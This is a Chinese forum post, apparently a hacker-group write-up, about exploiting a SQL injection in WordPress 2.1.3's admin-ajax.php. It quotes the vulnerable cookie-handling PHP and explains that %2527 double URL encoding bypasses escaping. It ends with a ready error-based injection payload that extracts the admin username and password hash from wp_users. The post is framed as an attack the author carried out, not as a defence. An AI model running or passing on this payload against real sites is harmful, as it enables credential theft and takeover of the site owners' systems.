本帖最后由 Free_小东 于 2016-11-3 18:54 编辑
---------------------------------------------------------------------------------------------------------------
* *
* 本文来自08内部分享,未经允许,不得转载. *
* *
---------------------------------------------------------------------------------------------------------------
网站程序用的是 WordPress 2.1.3 ,于是我就在网上搜了漏洞 发现了个 sql注入
链接:http://www.bitscn.com/network/security/200709/110036.html
文章里给了个盲注exp 不好使 没几次暴出来的密码都使不一样 囧.
决定还是自己动手吧 然后看了下文章里的分析
[PHP] 纯文本查看 复制代码 function check_ajax_referer() {
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1')
我们 通过 strpos($tasty, USER_COOKIE) 和 strpos($tasty, PASS_COOKIE) 的验证就可以了 USER_COOKIE和PASS_COOKIE都是常量
可以看到上图get_option(‘siteurl’)是从数字库中读网站地址 在加一次md5值就可以通过验证了
知道这个后我们来构造下
因为用了urldecode(),我们用%2527来绕过wp做的转义限制
位置代码:
[PHP] 纯文本查看 复制代码 if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
return false;
exp:
[AppleScript] 纯文本查看 复制代码 /wp-admin/admin-ajax.php
cookie=wordpressuser_md5(网站url地址)=aa%2527 and(select 1 from(select count(*),concat((select concat(user_login,0x5e,user_pass,0x5e) from wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)– n; wordpresspass_md5(网站url地址)=dddddd
|